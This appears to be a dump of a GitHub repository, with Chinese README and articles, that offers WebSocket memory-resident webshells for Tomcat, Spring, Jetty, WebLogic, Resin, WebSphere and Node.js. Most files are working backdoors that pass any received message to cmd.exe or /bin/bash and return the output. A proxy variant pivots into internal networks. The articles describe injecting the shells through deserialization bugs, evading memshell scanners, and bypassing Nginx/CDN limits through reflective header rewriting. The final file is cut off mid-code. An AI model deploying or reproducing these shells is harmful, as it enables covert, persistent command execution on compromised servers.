├── static ├── 1.png ├── 2.png ├── 3.png ├── ws.jpg ├── ws2.jpg ├── starfile.jpeg ├── websocket2.md ├── websocketproxy.md ├── websocket1.md └── wsNotAddEndpoint.md ├── .gitignore ├── Godzilla └── Godzilla.java ├── Nodejs ├── wscmd.js └── wsproxy.js ├── README.md ├── Tomcat_Spring_Jetty ├── wscmd.jsp ├── wsproxy.jsp ├── wsproxyDeserialization.java └── Deserialization.java ├── WebLogic ├── wscmd.jsp └── wsAddAllContainer.jsp ├── Resin └── wscmd.jsp ├── WebSphere ├── wscmd.jsp └── websphereproxy.jsp └── BypassNginxCDN ├── cmdbypass.jsp ├── cmdbypass2.jsp ├── proxybypass.jsp └── proxybypass2.jsp /static/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/wsMemShell/HEAD/static/1.png -------------------------------------------------------------------------------- /static/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/wsMemShell/HEAD/static/2.png -------------------------------------------------------------------------------- /static/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/wsMemShell/HEAD/static/3.png -------------------------------------------------------------------------------- /static/ws.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/wsMemShell/HEAD/static/ws.jpg -------------------------------------------------------------------------------- /static/ws2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/wsMemShell/HEAD/static/ws2.jpg -------------------------------------------------------------------------------- /static/starfile.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/wsMemShell/HEAD/static/starfile.jpeg -------------------------------------------------------------------------------- /static/websocket2.md: -------------------------------------------------------------------------------- 1 | ## 多功能shell实现 2 | 3 | 建议在了解 哥斯拉webshell工具 工作原理及代码,及 wsMemShell 原理及代码后,再阅读下面这篇 Freebuf 文章,获得更好的阅读体验。 4 | 5 | Freebuf: [WebSocket webshell 多功能shell实现](https://www.freebuf.com/articles/web/339702.html) 6 | 7 | ws ws -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.nar 17 | *.ear 18 | *.zip 19 | *.tar.gz 20 | *.rar 21 | 22 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 23 | hs_err_pid* 24 | -------------------------------------------------------------------------------- /static/websocketproxy.md: -------------------------------------------------------------------------------- 1 | ## 代理 2 | 3 | WebSocket是一种全双工通信协议,它可以用来做代理,且速度和普通的TCP代理一样快,这也是我研究websocket内存马的原因。 4 | 5 | 例如有一台不出网主机,有反序列化漏洞。 6 | 7 | 以前在这种场景下,可能会考虑上reGeorg或者利用端口复用来搭建代理。 8 | 9 | 现在可以利用反序列化漏洞直接注入websocket代理内存马,然后直接连上用上全双工通信协议的代理。 10 | 11 | 注入完内存马以后,使用 Gost:[https://github.com/go-gost/gost](https://github.com/go-gost/gost) 连接代理 12 | 13 | ``` 14 | ./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy" 15 | ``` 16 | 17 | 然后连接本地1080端口socks5即可使用代理 -------------------------------------------------------------------------------- /Godzilla/Godzilla.java: -------------------------------------------------------------------------------- 1 | // 哥斯拉实现websocket马核心代码片段 2 | 3 | //由于是反编译修改了原作者的软件,所以并不会公布工具,但会陆续公开实现代码和实现过程原理 4 | 5 | 6 | public void onMessage(ByteBuffer databf) { 7 | try { 8 | data=x(databf.array(), false); 9 | if (session.getUserProperties().get("payload")==null){ 10 | session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data)); 11 | session.getBasicRemote().sendObject(x("ok".getBytes(), true)); 12 | }else{ 13 | session.getUserProperties().put("parameters", data); 14 | Object f=((Class)session.getUserProperties().get("payload")).newInstance(); 15 | java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream(); 16 | f.equals(arrOut); 17 | f.equals(session); 18 | f.equals(data); 19 | f.toString(); 20 | session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true)); 21 | } 22 | } catch (Exception ignored) { 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Nodejs/wscmd.js: -------------------------------------------------------------------------------- 1 | const server = http.createServer(app); 2 | var WebSocket = require('faye-websocket'); 3 | 4 | 5 | server.on('upgrade', function(request, socket, body) { 6 | if (WebSocket.isWebSocket(request)) { 7 | var ws = new WebSocket(request, socket, body); 8 | ws.on("message", function(event) { 9 | const spawn = require('child_process').spawn; 10 | const cmd = spawn('sh', ['-c', event.data]); 11 | var result = ""; 12 | cmd.stdout.on('data', (data) => { 13 | result += data; 14 | }); 15 | cmd.on('close', (code) => { 16 | ws.send(result); 17 | }) 18 | }); 19 | ws.on('close', function (code, reason) { 20 | // logger.warn('websocket client disconnected: ' + code + ' [' + reason + ']'); 21 | if (tc != null) { 22 | tc.end(); 23 | } 24 | }); 25 | ws.on('error', function (a) { 26 | // logger.warn('websocket client error: ' + a); 27 | if (tc != null) { 28 | tc.end(); 29 | } 30 | }); 31 | } 32 | }); 33 | 34 | server.listen(3000) 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # **WebSocket 内存马/Webshell,一种新型内存马/WebShell技术** 2 | 3 | ## 兼容性测试 4 | 5 | #### (1)目前测试通过 6 | 7 | Tomcat、Spring、Jetty、WebSphere、WebLogic、Resin 8 | 9 | Nodejs (无法动态注入,需要修改代码后重启服务) 10 | 11 | #### (2)还未进行测试 12 | 13 | Jboss(WildFly) 14 | 15 | #### (3)~~无法使用的场景~~ 16 | 17 | ~~1.使用了Nginx等代理,未配置Header转发 支持WebSocket~~ 已支持 18 | 19 | ~~2.使用了CDN,CDN供应商未支持WebSocket服务~~ 已支持 20 | 21 | #### (4)~~必须注入内存~~ 22 | 23 | 已支持jsp文件连接WebSocket,使用更加方便,详情见 BypassNginxCDN 目录,可以直接jsp连接WebSocket代理 24 | 25 | 26 | ## 详细介绍 27 | 28 | - ### [websocket 内存马介绍](/static/websocket1.md) 29 | - ### [websocket 内存马代理](/static/websocketproxy.md) 30 | - ### [websocket 多功能shell实现](/static/websocket2.md) 31 | - ### [无需注入,可以绕过Nginx、CDN代理限制的 WebSocket jsp马](/static/wsNotAddEndpoint.md) 32 | 33 | ## 版权声明 34 | 35 | 完整代码:[https://github.com/veo/wsMemShell](https://github.com/veo/wsMemShell) 36 | 37 | 本文章著作权归作者所有。转载请注明出处![https://github.com/veo](https://github.com/veo) 38 | 39 | # 安恒-星火实验室 40 | 41 |

42 | starfile 43 |
44 |

45 | 专注于实战攻防与研究,研究涉及实战攻防、威胁情报、攻击模拟与威胁分析等,团队成员均来自行业具备多年实战攻防经验的红队、蓝队和紫队专家。本着以攻促防的核心理念,通过落地 ATT&CK 攻防全景知识库,全面构建实战化、常态化、体系化的企业安全建设与运营。 46 | -------------------------------------------------------------------------------- /static/websocket1.md: -------------------------------------------------------------------------------- 1 | ## 1.前言 2 | 3 | WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、Spring、Jetty、WebSphere、WebLogic等)都对WebSocket进行了技术支持。 4 | 5 | 本文都以Tomcat进行介绍讨论,其他框架也可实现WebSocket内存马 6 | 7 | ## 2.版本 8 | 9 | 2013年以前还没出JSR356标准,Tomcat就对Websocket做了支持,自定义API,再后来有了JSR356,Tomcat立马紧跟潮流,废弃自定义的API,实现JSR356那一套,这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。 10 | 11 | JSR356 是java制定的websocket编程规范,属于Java EE 7 的一部分,所以要实现websocket功能并不需要任何第三方依赖。 12 | 13 | ## 3.服务端实现方式 14 | 15 | #### (1)注解方式 16 | 17 | ``` 18 | @ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class) 19 | ``` 20 | 21 | Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务 22 | 23 | 所以即使 Tomcat 没有扫描到 `@ServerEndpoint`注解的类,也会进行Listener和 servlet注册,这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter 24 | 25 | ![static-1](1.png) 26 | 27 | #### (2)继承抽象类Endpoint方式 28 | 29 | 继承抽象类 `Endpoint`方式比加注解 `@ServerEndpoint`方式更麻烦,主要是需要自己实现 `MessageHandler`和 `ServerApplicationConfig`。`@ServerEndpoint`的话都是使用默认的,原理上差不多,只是注解更自动化,更简洁 30 | 31 | 可以用代码更方便的控制 ServerEndpointConfig 内的属性 32 | 33 | ``` 34 | ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build(); 35 | ``` 36 | 37 | ## 4.websocket内存马实现方法 38 | 39 | 之前提到过 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务 40 | 41 | 那如果在服务启动后我们再 addEndpoint 加入websocket服务行不行呢?答案是肯定的,而且非常简单只需要三步。创建一个ServerEndpointConfig,获取ws ServerContainer,加入 ServerEndpointConfig,即可 42 | 43 | ``` 44 | ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build(); 45 | ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName()); 46 | container.addEndpoint(config); 47 | ``` 48 | 49 | ## 5.效果 50 | 51 | 首先利用i.jsp注入一个websocket服务,路径为/x,注入后利用ws连接即可执行命令 52 | 53 | ![static-2](2.png) 54 | 55 | 且通过memshell scanner查询不到任何异常(因为根本就没注册新的 Listener、servlet 或者 Filter) 56 | 57 | ![static-3](3.png) 58 | -------------------------------------------------------------------------------- /Nodejs/wsproxy.js: -------------------------------------------------------------------------------- 1 | const server = http.createServer(app); 2 | var WebSocket = require('faye-websocket'); 3 | var net = require('net'); 4 | var tc; 5 | 6 | function createTcpSocket(ws, tip, tport) { 7 | var tc = net.connect({ 8 | host: tip, 9 | port: tport 10 | }, function () { 11 | // logger.warn('connected to tcp server. ip =', tip, 'port =', tport); 12 | }); 13 | tc.on('data', function (data) { 14 | // logger.warn('tcp socket received: %s', data) 15 | ws.send(data); 16 | }); 17 | tc.on('end', function () { 18 | // logger.warn('disconnected from tcp server.'); 19 | ws.close(); 20 | }); 21 | tc.on('error', function () { 22 | // logger.warn('tcp socket connection error'); 23 | ws.send("HTTP/1.1 503 Service Unavailable\r\n\r\n") 24 | ws.close(); 25 | }); 26 | return tc; 27 | } 28 | 29 | server.on('upgrade', function(request, socket, body) { 30 | if (WebSocket.isWebSocket(request)) { 31 | var ws = new WebSocket(request, socket, body); 32 | var stage = 0; 33 | ws.on("message", function(event) { 34 | if (tc != null && stage === 1) { 35 | // logger.warn("tc write data"); 36 | tc.write(event.data); 37 | } else if (stage === 0) { 38 | var header = Buffer.from(event.data).toString().split(" "); 39 | // logger.warn(header); 40 | if (header[0] == "CONNECT") { 41 | var addr = header[1].split(":"); 42 | var tip = addr[0]; 43 | var tport = Number(addr[1]); 44 | tc = createTcpSocket(ws, tip, tport); 45 | stage = 1; 46 | ws.send("HTTP/1.1 200 Connection Established\r\n\r\n") 47 | } 48 | } 49 | }); 50 | ws.on('close', function (code, reason) { 51 | // logger.warn('websocket client disconnected: ' + code + ' [' + reason + ']'); 52 | if (tc != null) { 53 | tc.end(); 54 | } 55 | }); 56 | ws.on('error', function (a) { 57 | // logger.warn('websocket client error: ' + a); 58 | if (tc != null) { 59 | tc.end(); 60 | } 61 | }); 62 | } 63 | }); 64 | 65 | server.listen(3000) 66 | -------------------------------------------------------------------------------- /Tomcat_Spring_Jetty/wscmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 2 | <%@ page import="javax.websocket.server.ServerContainer" %> 3 | <%@ page import="javax.websocket.*" %> 4 | <%@ page import="java.io.*" %> 5 | 6 | <%! 7 | public static class C extends Endpoint implements MessageHandler.Whole { 8 | private Session session; 9 | @Override 10 | public void onMessage(String s) { 11 | try { 12 | Process process; 13 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 14 | if (bool) { 15 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); 16 | } else { 17 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); 18 | } 19 | InputStream inputStream = process.getInputStream(); 20 | StringBuilder stringBuilder = new StringBuilder(); 21 | int i; 22 | while ((i = inputStream.read()) != -1) 23 | stringBuilder.append((char)i); 24 | inputStream.close(); 25 | process.waitFor(); 26 | session.getBasicRemote().sendText(stringBuilder.toString()); 27 | } catch (Exception exception) { 28 | exception.printStackTrace(); 29 | } 30 | } 31 | @Override 32 | public void onOpen(final Session session, EndpointConfig config) { 33 | this.session = session; 34 | session.addMessageHandler(this); 35 | } 36 | } 37 | %> 38 | <% 39 | String path = request.getParameter("path"); 40 | ServletContext servletContext = request.getSession().getServletContext(); 41 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); 42 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 43 | try { 44 | if (servletContext.getAttribute(path) == null){ 45 | container.addEndpoint(configEndpoint); 46 | servletContext.setAttribute(path,path); 47 | } 48 | out.println("success, connect url path: " + servletContext.getContextPath() + path); 49 | } catch (Exception e) { 50 | out.println(e.toString()); 51 | } 52 | %> 53 | -------------------------------------------------------------------------------- /WebLogic/wscmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 2 | <%@ page import="javax.websocket.server.ServerContainer" %> 3 | <%@ page import="javax.websocket.*" %> 4 | <%@ page import="java.io.*" %> 5 | <%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %> 6 | 7 | <%! 8 | public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole { 9 | private Session session; 10 | @Override 11 | public void onMessage(String s) { 12 | try { 13 | Process process; 14 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 15 | if (bool) { 16 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); 17 | } else { 18 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); 19 | } 20 | InputStream inputStream = process.getInputStream(); 21 | StringBuilder stringBuilder = new StringBuilder(); 22 | int i; 23 | while ((i = inputStream.read()) != -1) 24 | stringBuilder.append((char)i); 25 | inputStream.close(); 26 | process.waitFor(); 27 | session.getBasicRemote().sendText(stringBuilder.toString()); 28 | } catch (Exception exception) { 29 | exception.printStackTrace(); 30 | } 31 | } 32 | @Override 33 | public void onOpen(final Session session, EndpointConfig config) { 34 | this.session = session; 35 | session.addMessageHandler(this); 36 | } 37 | } 38 | %> 39 | <% 40 | 41 | // Weblogic 在获取 ServerContainer 时有些问题,例如在 bea_wls_internal 目录下 servletContext 获取不到 ServerContainer,也就是此jsp传到 bea_wls_internal目录是无效的,但自己部署的war包路径有效,目前还不知道为什么 42 | 43 | // 可以使用 wsAddAllContainer.jsp 遍历所有的 Container 进行添加,这样 wsAddAllContainer.jsp 上传到bea_wls_internal目录也是可以的 44 | 45 | String path = request.getParameter("path"); 46 | ServletContext servletContext = request.getSession().getServletContext(); 47 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build(); 48 | TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 49 | try { 50 | container.register(configEndpoint); 51 | } catch (Exception e) { 52 | e.printStackTrace(); 53 | } 54 | %> 55 | -------------------------------------------------------------------------------- /Resin/wscmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.caucho.websocket.WebSocketListener" %> 2 | <%@ page import="com.caucho.websocket.WebSocketServletRequest" %> 3 | <%@ page import="com.caucho.websocket.WebSocketContext" %> 4 | <%@ page import="java.io.IOException" %> 5 | <%@ page import="java.io.InputStream" %> 6 | <%@ page import="java.io.Reader" %> 7 | <%@ page import="java.io.PrintWriter" %> 8 | 9 | <%! 10 | public static class CmdListener implements WebSocketListener { 11 | public void onReadText(WebSocketContext context, Reader is) throws IOException { 12 | StringBuilder sb = new StringBuilder(); 13 | int ch; 14 | while ((ch = is.read()) >= 0) { 15 | sb.append((char) ch); 16 | } 17 | try { 18 | Process process; 19 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 20 | if (bool) { 21 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", sb.toString() }); 22 | } else { 23 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", sb.toString() }); 24 | } 25 | InputStream inputStream = process.getInputStream(); 26 | StringBuilder stringBuilder = new StringBuilder(); 27 | int i; 28 | while ((i = inputStream.read()) != -1) 29 | stringBuilder.append((char)i); 30 | inputStream.close(); 31 | process.waitFor(); 32 | PrintWriter writer = context.startTextMessage(); 33 | writer.print(stringBuilder); 34 | writer.close(); 35 | } catch (Exception ignored) { 36 | } 37 | } 38 | public void onStart(WebSocketContext context) throws IOException {} 39 | public void onReadBinary(WebSocketContext context, InputStream is) throws IOException {} 40 | public void onClose(WebSocketContext context) throws IOException {} 41 | public void onDisconnect(WebSocketContext context) throws IOException {} 42 | public void onTimeout(WebSocketContext context) throws IOException {} 43 | } 44 | %> 45 | <% 46 | String protocol = request.getHeader("Upgrade"); 47 | if (! "websocket".equals(protocol)) { 48 | out.println("not websocket"); 49 | return; 50 | } 51 | WebSocketListener listener = new CmdListener(); 52 | WebSocketServletRequest wsReq = (WebSocketServletRequest) request; 53 | wsReq.startWebSocket(listener); 54 | %> 55 | -------------------------------------------------------------------------------- /WebSphere/wscmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 2 | <%@ page import="javax.websocket.*" %> 3 | <%@ page import="java.io.*" %> 4 | <%@ page import="com.ibm.websphere.wsoc.WsWsocServerContainer" %> 5 | <%@ page import="java.lang.reflect.Field" %> 6 | 7 | <%! 8 | public static class WebsphereEndpoint extends Endpoint implements MessageHandler.Whole { 9 | private Session session; 10 | @Override 11 | public void onMessage(String s) { 12 | try { 13 | Process process; 14 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 15 | if (bool) { 16 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); 17 | } else { 18 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); 19 | } 20 | InputStream inputStream = process.getInputStream(); 21 | StringBuilder stringBuilder = new StringBuilder(); 22 | int i; 23 | while ((i = inputStream.read()) != -1) 24 | stringBuilder.append((char)i); 25 | inputStream.close(); 26 | process.waitFor(); 27 | session.getBasicRemote().sendText(stringBuilder.toString()); 28 | } catch (Exception exception) { 29 | exception.printStackTrace(); 30 | } 31 | } 32 | @Override 33 | public void onOpen(final Session session, EndpointConfig config) { 34 | this.session = session; 35 | session.addMessageHandler(this); 36 | } 37 | } 38 | %> 39 | <% 40 | String path = request.getParameter("path"); 41 | ServletContext servletContext = request.getSession().getServletContext(); 42 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WebsphereEndpoint.class, path).build(); 43 | WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); 44 | Field name = null; 45 | try { 46 | name = container.getClass().getDeclaredField("noMoreAdds"); 47 | name.setAccessible(true); 48 | name.setBoolean(container, false); 49 | try { 50 | if (servletContext.getAttribute(path) == null){ 51 | container.addEndpoint(configEndpoint); 52 | servletContext.setAttribute(path,path); 53 | } 54 | out.println("success, connect url path: " + servletContext.getContextPath() + path); 55 | } catch (Exception e) { 56 | out.println(e.toString()); 57 | } 58 | } catch (Exception e) { 59 | out.println(e.toString()); 60 | } 61 | %> 62 | -------------------------------------------------------------------------------- /static/wsNotAddEndpoint.md: -------------------------------------------------------------------------------- 1 | # 无需注入,可以绕过Nginx、CDN代理限制的 WebSocket jsp马 2 | 3 | 之前提到过可以向 WsServerContainer 容器内 添加ServerEndpointConfig 来注册WebSocket内存马,这样即有好处也有弊端,好处是内存马无落地文件,不好的地方是容易受限制无法使用。于是,我最近改写了下脚本的内容,直接取jsp内的request进行协议升级,从而不需要进行注册路径等操作,增加了HttpServletRequest的Header,使其可以在Nginx代理默认配置下使用 4 | 5 | Nginx默认代理配置本身是不支持WebSocket协议的,需要修改 /etc/nginx/conf.d/nginx.conf,增加 proxy_set_header 内容,网上也可以搜到许多资料,其实就是增加了两个文件头,并未做其他处理。 6 | 7 | 那其实我们完全可以在Server端拦截request自己添加文件头来支持WebSocket 8 | 9 | ```java 10 | private void SetHeader(HttpServletRequest request, String key, String value){ 11 | Class requestClass = request.getClass(); 12 | try { 13 | Field requestField = requestClass.getDeclaredField("request"); 14 | requestField.setAccessible(true); 15 | Object requestObj = requestField.get(request); 16 | Field coyoteRequestField = requestObj.getClass().getDeclaredField("coyoteRequest"); 17 | coyoteRequestField.setAccessible(true); 18 | Object coyoteRequestObj = coyoteRequestField.get(requestObj); 19 | Field headersField = coyoteRequestObj.getClass().getDeclaredField("headers"); 20 | headersField.setAccessible(true); 21 | MimeHeaders headersObj = (MimeHeaders)headersField.get(coyoteRequestObj); 22 | headersObj.removeHeader(key); 23 | headersObj.addValue(key).setString(value); 24 | } catch (Exception e) { 25 | e.printStackTrace(); 26 | } 27 | } 28 | 29 | SetHeader(request,"Connection","upgrade"); 30 | SetHeader(request,"Sec-WebSocket-Version","13"); 31 | SetHeader(request,"Upgrade","websocket"); 32 | ``` 33 | 34 | 通过添加这三个文件头,Tomcat就可以通过后续的doUpgrade校验了 35 | 36 | ```java 37 | if (!headerContainsToken(req, Constants.CONNECTION_HEADER_NAME, 38 | Constants.CONNECTION_HEADER_VALUE)) { 39 | resp.sendError(HttpServletResponse.SC_BAD_REQUEST); 40 | return; 41 | } 42 | if (!headerContainsToken(req, Constants.WS_VERSION_HEADER_NAME, 43 | Constants.WS_VERSION_HEADER_VALUE)) { 44 | resp.setStatus(426); 45 | resp.setHeader(Constants.WS_VERSION_HEADER_NAME, 46 | Constants.WS_VERSION_HEADER_VALUE); 47 | return; 48 | } 49 | key = req.getHeader(Constants.WS_KEY_HEADER_NAME); 50 | if (key == null) { 51 | resp.sendError(HttpServletResponse.SC_BAD_REQUEST); 52 | return; 53 | } 54 | ``` 55 | 56 | Tomcat 是通过org.apache.tomcat.websocket.server.UpgradeUtil.doUpgrade 来把http协议升级为WebSocket 57 | 58 | 那把需要的内容传入进去,即可完成jsp文件连接WebSocket的功能 59 | 60 | UpgradeUtil.doUpgrade(container, request, response, configEndpoint, pathParams); 61 | 62 | 绕过代码:[https://github.com/veo/wsMemShell/blob/main/BypassNginxCDN/cmdbypass.jsp](https://github.com/veo/wsMemShell/blob/main/BypassNginxCDN/cmdbypass.jsp) 63 | 64 | 绕过方式二代码:[https://github.com/veo/wsMemShell/blob/main/BypassNginxCDN/cmdbypass2.jsp](https://github.com/veo/wsMemShell/blob/main/BypassNginxCDN/cmdbypass2.jsp) 65 | -------------------------------------------------------------------------------- /BypassNginxCDN/cmdbypass.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.lang.reflect.Field" %> 4 | <%@ page import="javax.websocket.Endpoint" %> 5 | <%@ page import="javax.websocket.Session" %> 6 | <%@ page import="javax.websocket.EndpointConfig" %> 7 | <%@ page import="javax.websocket.MessageHandler" %> 8 | <%@ page import="javax.websocket.server.ServerContainer" %> 9 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 10 | <%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %> 11 | <%@ page import="org.apache.tomcat.websocket.server.UpgradeUtil" %> 12 | <%@ page import="org.apache.tomcat.util.http.MimeHeaders" %> 13 | 14 | <%! 15 | public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole { 16 | private Session session; 17 | @Override 18 | public void onMessage(String s) { 19 | try { 20 | Process process; 21 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 22 | if (bool) { 23 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); 24 | } else { 25 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); 26 | } 27 | InputStream inputStream = process.getInputStream(); 28 | StringBuilder stringBuilder = new StringBuilder(); 29 | int i; 30 | while ((i = inputStream.read()) != -1) 31 | stringBuilder.append((char)i); 32 | inputStream.close(); 33 | process.waitFor(); 34 | session.getBasicRemote().sendText(stringBuilder.toString()); 35 | } catch (Exception exception) { 36 | exception.printStackTrace(); 37 | } 38 | } 39 | @Override 40 | public void onOpen(final Session session, EndpointConfig config) { 41 | this.session = session; 42 | session.addMessageHandler(this); 43 | } 44 | } 45 | private void SetHeader(HttpServletRequest request, String key, String value){ 46 | Class requestClass = request.getClass(); 47 | try { 48 | Field requestField = requestClass.getDeclaredField("request"); 49 | requestField.setAccessible(true); 50 | Object requestObj = requestField.get(request); 51 | Field coyoteRequestField = requestObj.getClass().getDeclaredField("coyoteRequest"); 52 | coyoteRequestField.setAccessible(true); 53 | Object coyoteRequestObj = coyoteRequestField.get(requestObj); 54 | Field headersField = coyoteRequestObj.getClass().getDeclaredField("headers"); 55 | headersField.setAccessible(true); 56 | MimeHeaders headersObj = (MimeHeaders)headersField.get(coyoteRequestObj); 57 | headersObj.removeHeader(key); 58 | headersObj.addValue(key).setString(value); 59 | } catch (Exception e) { 60 | e.printStackTrace(); 61 | } 62 | } 63 | %> 64 | 65 | <% 66 | ServletContext servletContext = request.getSession().getServletContext(); 67 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, "/x").build(); 68 | WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 69 | Map pathParams = Collections.emptyMap(); 70 | SetHeader(request,"Connection","upgrade"); 71 | SetHeader(request,"Sec-WebSocket-Version","13"); 72 | SetHeader(request,"Upgrade","websocket"); 73 | UpgradeUtil.doUpgrade(container, request, response, configEndpoint, pathParams); 74 | %> 75 | -------------------------------------------------------------------------------- /WebLogic/wsAddAllContainer.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 2 | <%@ page import="javax.websocket.server.ServerContainer" %> 3 | <%@ page import="javax.websocket.*" %> 4 | <%@ page import="java.io.*" %> 5 | <%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %> 6 | <%@ page import="javax.management.MBeanServer" %> 7 | <%@ page import="java.lang.management.ManagementFactory" %> 8 | <%@ page import="java.lang.reflect.Field" %> 9 | <%@ page import="com.sun.jmx.mbeanserver.Repository" %> 10 | <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> 11 | <%@ page import="java.util.Set" %> 12 | <%@ page import="javax.management.ObjectName" %> 13 | <%@ page import="java.util.HashSet" %> 14 | <%@ page import="weblogic.servlet.internal.WebAppServletContext" %> 15 | 16 | <%! 17 | public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole { 18 | private Session session; 19 | @Override 20 | public void onMessage(String s) { 21 | try { 22 | Process process; 23 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 24 | if (bool) { 25 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); 26 | } else { 27 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); 28 | } 29 | InputStream inputStream = process.getInputStream(); 30 | StringBuilder stringBuilder = new StringBuilder(); 31 | int i; 32 | while ((i = inputStream.read()) != -1) 33 | stringBuilder.append((char)i); 34 | inputStream.close(); 35 | process.waitFor(); 36 | session.getBasicRemote().sendText(stringBuilder.toString()); 37 | } catch (Exception exception) { 38 | exception.printStackTrace(); 39 | } 40 | } 41 | @Override 42 | public void onOpen(final Session session, EndpointConfig config) { 43 | this.session = session; 44 | session.addMessageHandler(this); 45 | } 46 | } 47 | %> 48 | <% 49 | // 遍历所有 container 进行添加 50 | String path = request.getParameter("path"); 51 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build(); 52 | MBeanServer server = ManagementFactory.getPlatformMBeanServer(); 53 | Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); 54 | field.setAccessible(true); 55 | Object obj = field.get(server); 56 | field = obj.getClass().getDeclaredField("mbsInterceptor"); 57 | field.setAccessible(true); 58 | obj = field.get(obj); 59 | field = obj.getClass().getDeclaredField("repository"); 60 | field.setAccessible(true); 61 | Repository repository = (Repository)field.get(obj); 62 | Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null); 63 | for(NamedObject namedObject : namedObjects){ 64 | field = namedObject.getObject().getClass().getDeclaredField("managedResource"); 65 | field.setAccessible(true); 66 | obj = field.get(namedObject.getObject()); 67 | field = obj.getClass().getSuperclass().getDeclaredField("children"); 68 | field.setAccessible(true); 69 | HashSet set = (HashSet)field.get(obj); 70 | for(Object o : set){ 71 | 